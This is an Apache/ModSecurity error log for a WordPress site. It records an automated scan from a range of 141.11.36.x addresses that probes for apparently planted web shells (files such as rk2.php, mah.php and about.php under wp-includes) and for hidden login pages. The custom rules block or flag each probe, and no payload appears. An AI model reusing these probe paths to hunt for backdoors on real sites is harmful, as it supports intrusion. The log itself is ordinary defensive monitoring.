[Sun Nov 23 08:39:43.301244 2025] [:error] [pid 38738:tid 38745] [client 141.11.36.55:54535] [client 141.11.36.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSJXzwytc6TL9XavPmMTPAAAAAM"]
[Sun Nov 23 08:39:45.084739 2025] [:error] [pid 38740:tid 38819] [client 141.11.36.74:32193] [client 141.11.36.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSJX0Q13QPZSi6O8umXXswAAAJc"]
[Sun Nov 23 08:39:47.351391 2025] [:error] [pid 38824:tid 38830] [client 141.11.36.95:39757] [client 141.11.36.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSJX008WZjXLvbHTHPcGrQAAAMM"]
[Sun Nov 23 08:39:49.591169 2025] [:error] [pid 38824:tid 38829] [client 141.11.36.55:27649] [client 141.11.36.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSJX1U8WZjXLvbHTHPcGswAAAMI"]
[Sun Nov 23 08:39:51.400985 2025] [:error] [pid 38740:tid 38805] [client 141.11.36.92:50327] [client 141.11.36.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSJX1w13QPZSi6O8umXXvAAAAIk"]
[Sun Nov 23 08:39:53.137991 2025] [proxy_fcgi:error] [pid 38738:tid 38757] [client 141.11.36.66:39843] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:39:54.435105 2025] [:error] [pid 38738:tid 38756] [client 141.11.36.66:39843] [client 141.11.36.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aSJX2gytc6TL9XavPmMTSAAAAA4"]
[Sun Nov 23 08:40:09.828035 2025] [:error] [pid 38739:tid 38787] [client 141.11.36.75:50005] [client 141.11.36.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aSJX6QdvEgJm2n2cDmpcOgAAAFI"]
[Sun Nov 23 08:40:10.746474 2025] [:error] [pid 38739:tid 38772] [client 141.11.36.55:21533] [client 141.11.36.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSJX6gdvEgJm2n2cDmpcPQAAAEM"]
[Sun Nov 23 08:40:13.241745 2025] [:error] [pid 38739:tid 38788] [client 141.11.36.90:59591] [client 141.11.36.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSJX7QdvEgJm2n2cDmpcZQAAAFM"]
[Sun Nov 23 08:40:14.171129 2025] [:error] [pid 38739:tid 38790] [client 141.11.36.71:24697] [client 141.11.36.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSJX7gdvEgJm2n2cDmpcbgAAAFU"]
[Sun Nov 23 08:40:15.622334 2025] [:error] [pid 38738:tid 38766] [client 141.11.36.64:54819] [client 141.11.36.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aSJX7wytc6TL9XavPmMTcAAAABg"]
[Sun Nov 23 08:40:20.194493 2025] [:error] [pid 38824:tid 38831] [client 141.11.36.82:35403] [client 141.11.36.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSJX9E8WZjXLvbHTHPcHCgAAAMQ"]
[Sun Nov 23 08:40:21.587920 2025] [:error] [pid 44652:tid 44724] [client 141.11.36.63:60693] [client 141.11.36.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.63, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSJX9diQFwsyXQDhwyAIeAAAARI"]
[Sun Nov 23 08:40:22.523601 2025] [:error] [pid 44652:tid 44721] [client 141.11.36.63:60693] [client 141.11.36.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSJX9tiQFwsyXQDhwyAIegAAAQ8"]
[Sun Nov 23 08:40:23.439078 2025] [:error] [pid 38740:tid 38798] [client 141.11.36.67:34027] [client 141.11.36.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSJX9w13QPZSi6O8umXYAQAAAII"]
[Sun Nov 23 08:40:25.798345 2025] [:error] [pid 44652:tid 44728] [client 141.11.36.101:59539] [client 141.11.36.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aSJX-diQFwsyXQDhwyAIfwAAARY"]
[Sun Nov 23 08:40:27.292269 2025] [:error] [pid 38739:tid 38781] [client 141.11.36.77:64209] [client 141.11.36.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSJX-wdvEgJm2n2cDmpclgAAAEw"]
[Sun Nov 23 08:40:33.437300 2025] [proxy_fcgi:error] [pid 38824:tid 38843] [client 141.11.36.94:63023] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:40:40.700584 2025] [proxy_fcgi:error] [pid 38824:tid 38846] [client 141.11.36.94:63023] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:40:41.640642 2025] [:error] [pid 38824:tid 38841] [client 141.11.36.94:63023] [client 141.11.36.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSJYCU8WZjXLvbHTHPcHMQAAAM4"]
[Sun Nov 23 08:40:43.914609 2025] [:error] [pid 38824:tid 38846] [client 141.11.36.65:20369] [client 141.11.36.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aSJYC08WZjXLvbHTHPcHOAAAANM"]
[Sun Nov 23 08:40:46.096853 2025] [:error] [pid 38740:tid 38806] [client 141.11.36.78:27501] [client 141.11.36.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.78, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSJYDg13QPZSi6O8umXYEwAAAIo"]
[Sun Nov 23 08:40:46.101644 2025] [proxy_fcgi:error] [pid 38740:tid 38806] [client 141.11.36.78:27501] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:40:49.877672 2025] [:error] [pid 38740:tid 38819] [client 141.11.36.78:27501] [client 141.11.36.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSJYEQ13QPZSi6O8umXYGwAAAJc"]
[Sun Nov 23 08:40:50.771563 2025] [:error] [pid 38739:tid 38777] [client 141.11.36.100:31413] [client 141.11.36.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.100, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aSJYEgdvEgJm2n2cDmpcpQAAAEg"]
[Sun Nov 23 08:40:51.254415 2025] [:error] [pid 38739:tid 38788] [client 141.11.36.100:31413] [client 141.11.36.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aSJYEwdvEgJm2n2cDmpcpgAAAFM"]
[Sun Nov 23 08:40:58.320952 2025] [proxy_fcgi:error] [pid 38739:tid 38793] [client 141.11.36.68:42173] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:40:59.837260 2025] [:error] [pid 38739:tid 38787] [client 141.11.36.68:42173] [client 141.11.36.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSJYGwdvEgJm2n2cDmpctAAAAFI"]
[Sun Nov 23 08:41:03.721969 2025] [:error] [pid 38739:tid 38774] [client 141.11.36.63:23625] [client 141.11.36.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSJYHwdvEgJm2n2cDmpcvAAAAEU"]
[Sun Nov 23 08:41:05.829120 2025] [:error] [pid 38738:tid 38750] [client 141.11.36.104:59689] [client 141.11.36.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.104, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aSJYIQytc6TL9XavPmMTrAAAAAg"]
[Sun Nov 23 08:41:11.221284 2025] [:error] [pid 38738:tid 38755] [client 141.11.36.104:59689] [client 141.11.36.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aSJYJwytc6TL9XavPmMTuQAAAA0"]
[Sun Nov 23 08:41:12.641963 2025] [:error] [pid 38739:tid 38775] [client 141.11.36.63:47517] [client 141.11.36.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSJYKAdvEgJm2n2cDmpcxAAAAEY"]
[Sun Nov 23 08:41:17.342742 2025] [:error] [pid 38740:tid 38810] [client 141.11.36.102:53101] [client 141.11.36.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSJYLQ13QPZSi6O8umXYOQAAAI4"]
[Sun Nov 23 08:41:18.724665 2025] [:error] [pid 38740:tid 38818] [client 141.11.36.77:20623] [client 141.11.36.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSJYLg13QPZSi6O8umXYOwAAAJY"]
[Sun Nov 23 08:41:20.141765 2025] [:error] [pid 44652:tid 44709] [client 141.11.36.76:27685] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSJYMNiQFwsyXQDhwyAIuAAAAQM"]
[Sun Nov 23 08:41:24.632993 2025] [:error] [pid 38738:tid 38744] [client 141.11.36.71:50377] [client 141.11.36.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.71, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSJYNAytc6TL9XavPmMTzAAAAAI"]
[Sun Nov 23 08:41:25.079026 2025] [:error] [pid 38738:tid 38746] [client 141.11.36.71:50377] [client 141.11.36.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSJYNQytc6TL9XavPmMTzQAAAAQ"]
[Sun Nov 23 08:41:31.062286 2025] [:error] [pid 38740:tid 38804] [client 141.11.36.80:57111] [client 141.11.36.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSJYOw13QPZSi6O8umXYTQAAAIg"]
[Sun Nov 23 08:41:31.986973 2025] [:error] [pid 38738:tid 38752] [client 141.11.36.76:20453] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSJYOwytc6TL9XavPmMT3AAAAAo"]
[Sun Nov 23 08:41:35.899225 2025] [proxy_fcgi:error] [pid 38740:tid 38816] [client 141.11.36.105:60343] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:41:37.232638 2025] [proxy_fcgi:error] [pid 38740:tid 38797] [client 141.11.36.105:60343] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:41:37.680958 2025] [:error] [pid 38740:tid 38804] [client 141.11.36.105:60343] [client 141.11.36.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSJYQQ13QPZSi6O8umXYWQAAAIg"]
[Sun Nov 23 08:41:42.001525 2025] [:error] [pid 44652:tid 44723] [client 141.11.36.87:37531] [client 141.11.36.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aSJYRtiQFwsyXQDhwyAI0QAAARE"]
[Sun Nov 23 08:41:49.012601 2025] [proxy_fcgi:error] [pid 38739:tid 38772] [client 141.11.36.76:32041] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:41:49.940841 2025] [:error] [pid 38739:tid 38783] [client 141.11.36.76:32041] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aSJYTQdvEgJm2n2cDmpc7gAAAE4"]
[Sun Nov 23 08:41:53.933133 2025] [:error] [pid 38740:tid 38807] [client 141.11.36.92:59953] [client 141.11.36.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aSJYUQ13QPZSi6O8umXYcAAAAIs"]
[Sun Nov 23 08:41:58.792976 2025] [proxy_fcgi:error] [pid 38738:tid 38759] [client 141.11.36.63:27757] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:41:59.245453 2025] [:error] [pid 38738:tid 38757] [client 141.11.36.63:27757] [client 141.11.36.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aSJYVwytc6TL9XavPmMUBQAAAA8"]
[Sun Nov 23 08:42:00.171916 2025] [proxy_fcgi:error] [pid 38738:tid 38756] [client 141.11.36.87:53937] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:42:05.310455 2025] [:error] [pid 38738:tid 38761] [client 141.11.36.87:53937] [client 141.11.36.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSJYXQytc6TL9XavPmMUFgAAABM"]
[Sun Nov 23 08:42:12.021664 2025] [:error] [pid 38824:tid 38840] [client 141.11.36.80:34159] [client 141.11.36.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aSJYZE8WZjXLvbHTHPcHhgAAAM0"]
[Sun Nov 23 08:42:16.206184 2025] [:error] [pid 38739:tid 38774] [client 141.11.36.76:57849] [client 141.11.36.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.76, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSJYaAdvEgJm2n2cDmpdFwAAAEU"]
[Sun Nov 23 08:42:17.218176 2025] [:error] [pid 38739:tid 38792] [client 141.11.36.76:57849] [client 141.11.36.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.76, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSJYaQdvEgJm2n2cDmpdGwAAAFc"]
[Sun Nov 23 08:42:17.649980 2025] [:error] [pid 38739:tid 38779] [client 141.11.36.76:57849] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aSJYaQdvEgJm2n2cDmpdHgAAAEo"]
[Sun Nov 23 08:42:22.241271 2025] [:error] [pid 44652:tid 44729] [client 141.11.36.72:43137] [client 141.11.36.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSJYbtiQFwsyXQDhwyAI_QAAARc"]
[Sun Nov 23 08:42:25.047698 2025] [:error] [pid 38824:tid 38840] [client 141.11.36.99:42141] [client 141.11.36.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSJYcU8WZjXLvbHTHPcHlAAAAM0"]
[Sun Nov 23 08:42:27.755363 2025] [proxy_fcgi:error] [pid 38739:tid 38791] [client 141.11.36.79:42669] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:42:29.105927 2025] [proxy_fcgi:error] [pid 38739:tid 38783] [client 141.11.36.79:42669] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:42:30.500856 2025] [:error] [pid 38739:tid 38793] [client 141.11.36.79:42669] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSJYdgdvEgJm2n2cDmpdMgAAAFg"]
[Sun Nov 23 08:42:31.865806 2025] [:error] [pid 38738:tid 38758] [client 141.11.36.60:54459] [client 141.11.36.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSJYdwytc6TL9XavPmMUMgAAABA"]
